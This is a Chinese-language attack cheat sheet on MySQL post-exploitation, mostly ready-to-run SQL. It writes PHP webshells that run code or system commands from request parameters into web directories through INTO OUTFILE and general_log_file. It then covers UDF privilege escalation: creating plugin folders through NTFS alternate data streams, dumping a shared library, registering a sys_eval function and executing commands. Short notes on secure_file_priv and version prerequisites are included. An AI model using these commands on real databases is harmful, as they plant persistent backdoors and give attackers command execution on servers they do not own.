获取webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#1.导出一句话,需要知道web绝对路径
select '<?php @eval($_POST[m0sway]);?>'INTO OUTFILE 'D:/work/WWW/shell.php'

#2.创建数据库导出
CREATE TABLE `mysql`.`test` (`temp` TEXT NOTNULL );
INSERT INTO `mysql`.`test` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
SELECT `temp` FROM `test` INTO OUTFILE'D:/www/shell.php';
DROP TABLE IF EXISTS `test`;

#可执行命令方式
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php' #Windows
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; #Linux

#general_log_file获取webshell
show global variables like "%genera%"; #查看genera文件配置情况
set global general_log=off; #关闭general_log
SET global general_log_file='D:/phpStudy/WWW/cmd.php'; #通过general_log选项来获取webshell
set global general_log='on';
SELECT '<?php assert($_POST["cmd"]);?>';

UDF提权

UDF
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。

Secure_file_priv

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
• 当secure_file_priv的值为null ,表示限制mysql不允许导入 导出。
• 当secure_file_priv的值为/tmp/ ,表示限制mysql的导入 导出只能发生在/tmp/目录下。
• 当secure_file_priv的值没有具体值时,表示不对mysql的导入 导出做限制。

提权条件

• 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
• 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
• mysql < 5.0,导出路径随意
• 拥有可以将udf.dll写入相应目录的权限。

1、MySQL服务默认以mysql用户权限启动,并没有危险目录(/usr/lib64/mysql/plugin[root 755]、/var/www/html[root 755]、/var/spool/cron[root 700]、/root/.ssh[root 700]等)下的文件写入权限。
2、MySQL 5.6.34版本以后的secure_file_priv参数默认值为NULL或指定的/var/lib/mysql-files,即禁止在危险目录写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
//默认情况下查看--secure-file-priv值:
show global variables LIKE "secure_file_priv";
//查看plugin路径
show variables LIKE "plugin";

//在某些情况下,我们会遇到Can&#39;t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

select unhex('UDF-code') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.so'; //导出UDF文件
create function sys_eval returns string soname 'mysqludf3.so'; //创建函数
select sys_eval('whoami'); //执行命令